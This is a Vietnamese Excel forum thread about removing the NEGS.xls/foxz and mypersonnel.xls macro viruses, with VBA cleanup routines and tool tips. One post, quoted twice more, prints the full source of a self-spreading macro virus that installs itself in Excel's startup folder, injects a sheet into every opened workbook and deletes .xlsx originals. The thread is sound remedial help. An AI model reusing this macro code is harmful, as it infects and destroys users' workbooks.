Virus NEGS.xls và macro foxz (1 người xem)

  • Thread starter Thread starter trungce
  • Ngày gửi Ngày gửi
Liên hệ QC

Người dùng đang xem chủ đề này

trungce

Thành viên mới
Tham gia
3/3/14
Bài viết
2
Được thích
0
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
 

File đính kèm

  • Zalo_ScreenShot_13_6_2019_631793.png
    Zalo_ScreenShot_13_6_2019_631793.png
    107.7 KB · Đọc: 134
  • Zalo_ScreenShot_13_6_2019_646401.png
    Zalo_ScreenShot_13_6_2019_646401.png
    23.5 KB · Đọc: 139
Bạn thử xem bài này:
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã:
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
 
Upvote 0
Hình như cái này đã bàn rồi cách đây 2 năm.
Chỉ là cái anh chàng Tờ Quờ Nờ ấy giải đáp bằng cái link tiếng Tây, đọc muốn toé con mắt.
 
Upvote 0
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
 
Upvote 0
Virus negs.xls này có thể được diệt triệt để bằng KIS bản mới nhất, không cần vào xóa các file gốc trong START.

Đoạn code phía trên trước đây mình đã thử nhưng ko thành công.

Cuối cùng mình gỡ Office 2010 và cài Office 2016 thì đã removed được con foxz này. Cảm ơn anh em trong diễn đàn.
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
 
Upvote 0
Upvote 0

File đính kèm

  • chup 1.png
    chup 1.png
    151.6 KB · Đọc: 115
Upvote 0
Upvote 0
Bạn tạo một Module mới, rồi dán vào thủ tục trên, sau đó cho nó chạy. Chứ không phải bạn dán vô ThisWorkbook.
Em làm như anh hướng dẫn, 2 con virut đó vẫn trong code, giờ e cứ lập file mới đều bị, e phải copy hết ra cũng vẫn dính theo. Giúp em với.
 

File đính kèm

  • chup anh.jpg
    chup anh.jpg
    246 KB · Đọc: 83
Upvote 0
Với bài #3 của huuthang_bd, bạn không cần phải cài KIS và cũng không cần phải cài lại Office nha bạn.
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
 

File đính kèm

  • foxz va Negs xls.png
    foxz va Negs xls.png
    157.4 KB · Đọc: 38
  • virut foxz.png
    virut foxz.png
    161.4 KB · Đọc: 30
Upvote 0
Tình hình sau 1 thời gian e diệt thủ công con virut trên, nó lan tỏa rộng quá anh ơi, cứ làm 1 file mới excel lại bị virut vào file anh ạ. Giúp em với. Giờ nó nhân rộng khắp máy tính em làm rồi ạ. E nhiều dữ liệu em sợ bị mất lắm.
Máy tôi cũng bị "lây bệnh" file bạn rồi.
Cố gắng tự bảo vệ mình.
 
Upvote 0
Con này code = VBA, code rành rành ra đó, chịu khó bỏ 1 chút thời gian đọc code của nó thì sẽ hiểu nó làm gì mà, rồi sẽ biết cách remove nó.
Cần gì tool, AV hay cài lại Office chi trời.
 
Upvote 0
Chắc phải tạo 1 addin cho code chạy khi mở file thì mới diệt hết được.
Tạm thời em tạo một File có đoạn co de ở bài #3 và copy File ấy cho vào thư mục XLSTART của Excel
C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART.
Anh Thắng cho vào Addin để diệt với
Virus này lây lan cấp số cộng lên không ngại lắm
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã:
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Đang đau đầu vì cái con virut này thì đọc được bài của bạn. Mình đã làm và thành công. Cám ơn bạn @huuthang_bd
 
Upvote 0
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
 
Upvote 0
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c
Thử cách này xem:
Vào VBE cho chạy đoạn code sau:
Mã:
Sub Test()
    MsgBox Application.Path & "\XLSTART\"
End Sub
Nhìn xem đường dẫn trong đó là gì và Mở Explorer lên và tìm đến đường dẫn nhìn thấy trong Msgbox.
Đóng Excel lại và xóa file mypersonel.xls trong thư mục XLSTART. Khởi động lại Excel và xem thử còn bị không?
 
Upvote 0
Dạ em xin cám ơn. File mở ko bị nữa . Xin Cảm Ơn.
 
Upvote 0
Hi Mọi Người !
Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub

Mong a/c hướng dẫn remove dùm em . Tks a/c

Con virus lởm này giờ đã biến hình, nó kiểm soát cả đuôi xlsx nữa :)
 
Upvote 0
mình cũng bị mắc con virus mypersonnel.xls (kangantang) này. Dù đã xóa nó đi như các hướng dẫn bên trên nhưng nó vẫn quay lại sau 1 chút thời gian.
Và vấn đề nếu quét virus bằng KIS thì sẽ khiến cho file excel bị mất dữ liệu, đó là điều mình không mong muốn.
Rất mong mọi người trên diễn đàn này nếu biết có thể giúp đỡ hướng dẫn diệt con virus này và có thể giữ được giữ liệu.
 
Upvote 0
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
Sub KillIt()
Application.DisplayAlerts = False
With Workbooks("NEGS.XLS")
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close False
End With
Application.DisplayAlerts = True
End Sub

hôm trước mình chạy code phát được luôn này. Thử xem thế nào
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã:
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Cảm ơn anh. Em dùng code của anh đã diệt được nó rồi. Nó còn đẻ lại thêm mấy cái sheet ẩn 1 số file excel mà lỡ quan hệ với nó. Em mở Alt F11 mới thấy, rồi lại phải xóa tay mấy sheet đó. Nói chung đã diệt được nó.

Cảm ơn anh @Phuocam đã dẫn link bài này luôn nhé.
 
Upvote 0
Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?

Xin cảm ơn!
Bạn mở phần mềm này của win lên quét là hết, mình mới sài hôm qua xong quét hết sạch tận gốc luôn file NEGS và foxz nó lưu mấy chỗ liền

1641172094678.png

Sài thêm phần mềm này của anh Nguyễn Duy Tuân, những file đính kèm virus sẽ loại bỏ hết khi bật file tránh lây lan

1641172363421.png
 
Upvote 0
Tùy trường hợp thôi bạn, không phải trường hợp nào cũng hết được.
update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.
 
Upvote 0
update cái diệt virus ở win nó cập nhật rồi bạn, xóa được gốc file nó lưu ở phần khởi động cùng excel. còn file đính kèm thì dùng phần mềm của anh Nguyễn Duy Tuân là hết đấy bạn. mình sử lý cho nhiều máy rồi.
gửi cho mình cái phần mềm của NDT cái bạn
 
Upvote 0
Hôm nay mình lại dính con này nữa, bực mình ghê! Đang cho chạy cái Windows Defender của Win 7. Không biết lát có diệt được không nữa.
hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước
 
Upvote 0
hihi! dùng cái diệt macro trên là là được đấy bạn, trước tiên ấn Ctrl+f3 xóa hết name lỗi trước
File đính kèm của NDT bạn up đó hả?

Cái WD win 7 của mình nó vô dụng ghê, hihi. Chạy full xong mà vào Excel vẫn còn tụi Neg với foxz. :|

1649820924893.png
 
Upvote 0
Upvote 0
đúng rồi bạn! tải về cài đặt lên là diệt được bạn ạ
Diệt được macro NEG nhưng không xóa được các sheet ẩn fox đó bạn.
Mình phải vào xóa tay bằng 1 đoạn code VBA của anh Quang Hải mới được, híc.
1649823186009.png
Tức thiệt.
 
Upvote 0
gửi file đây mình diệt cho
Mình biết gửi file nào cho bạn giờ.
File nào mở lên mình Alt F11 kiểm tra mà xuất hiện sheet ẩn foxz thì mình tự xóa tay được rồi. Cảm ơn bạn nhiều nhé!
Mà giờ mỗi lần mở file Excel bất kỳ thì nó sẽ chạy cái add-in NDT hay gì á, mất 1 nhịp !
 
Upvote 0
Mình biết gửi file nào cho bạn giờ.
File nào mở lên mình Alt F11 kiểm tra mà xuất hiện sheet ẩn foxz thì mình tự xóa tay được rồi. Cảm ơn bạn nhiều nhé!
Mà giờ mỗi lần mở file Excel bất kỳ thì nó sẽ chạy cái add-in NDT hay gì á, mất 1 nhịp !
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
 
Upvote 0
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
Bây giờ mình mở file nào lên mà có 2 con NEG với foxz đều bị tiêu diệu hết rồi. Cảm ơn bạn nhiều nhé!
 
Upvote 0
file của bạn chứa nhiều name lỗi quá đấy nên nặng file. Mình xóa tay trước xong mới cho chạy NDT thì file sạch sẽ.. chỉ làm 1 lần thôi bạn ạ.
Giờ nó có hiện tượng này bạn. File nào mà có chứa Macro, sau khi mở lên, cái pm của NDT liền cảnh báo và xóa đi. Nhưng sau đó các file excel này đều tự sinh ra cái file .bak này nè. Ngộ ghê ! File sinh ra dung lượng còn nặng hơn file gốc nữa bạn.
1650270843622.png
 
Upvote 0
Thuốc chưa đủ vị nên bịnh vẫn còn.

Mà sao vẫn còn dùng file .xls nhiều vậy bạn?
 
Upvote 0
Upvote 0
Upvote 0
Giờ nó có hiện tượng này bạn. File nào mà có chứa Macro, sau khi mở lên, cái pm của NDT liền cảnh báo và xóa đi. Nhưng sau đó các file excel này đều tự sinh ra cái file .bak này nè. Ngộ ghê ! File sinh ra dung lượng còn nặng hơn file gốc nữa bạn.
View attachment 274621
lúc hiện lên bảng nó có mục tạo file backup đó bạn, bỏ ô tích đó đi là được. tất cả các file nên xóa hết các name lỗi đi cho nhẹ, máy sạch sẽ.
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã:
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Code này là là để vào modun rồi chỉ chạy 1 lần là được hay mỗi lần mở file đều tạo 1 modun riêng cho file đó vậy bạn, vì mình tạo file mới vẫn bị
 
Upvote 0
Code này là là để vào modun rồi chỉ chạy 1 lần là được hay mỗi lần mở file đều tạo 1 modun riêng cho file đó vậy bạn, vì mình tạo file mới vẫn bị
Cài addin này nha bạn
 
Upvote 0
Cài addin này nha bạn
Vâng, cảm ơn bạn nhe.
 
Upvote 0
Cài addin này nha bạn
Nếu mình không muốn chạy tự động với tất cả các file khi khởi động excel thì làm thế nào ạ. E muốn chạy addin với file bị nhiễm virus thôi ạ.
 
Upvote 0
Nếu mình không muốn chạy tự động với tất cả các file khi khởi động excel thì làm thế nào ạ. E muốn chạy addin với file bị nhiễm virus thôi ạ.
Là bạn biết file nào bị nhiễm rồi đúng không. Nếu vậy thì đừng cài Addin, chỉ mở addin lên sau đó mở file bị nhiễm virus. Làm xong thì đóng Excel.
 
Upvote 0
Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.
Mã:
Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub
Tuyệt vời, chạy 1 phát hết liền !
 
Upvote 0

Bài viết mới nhất

Back
Top Bottom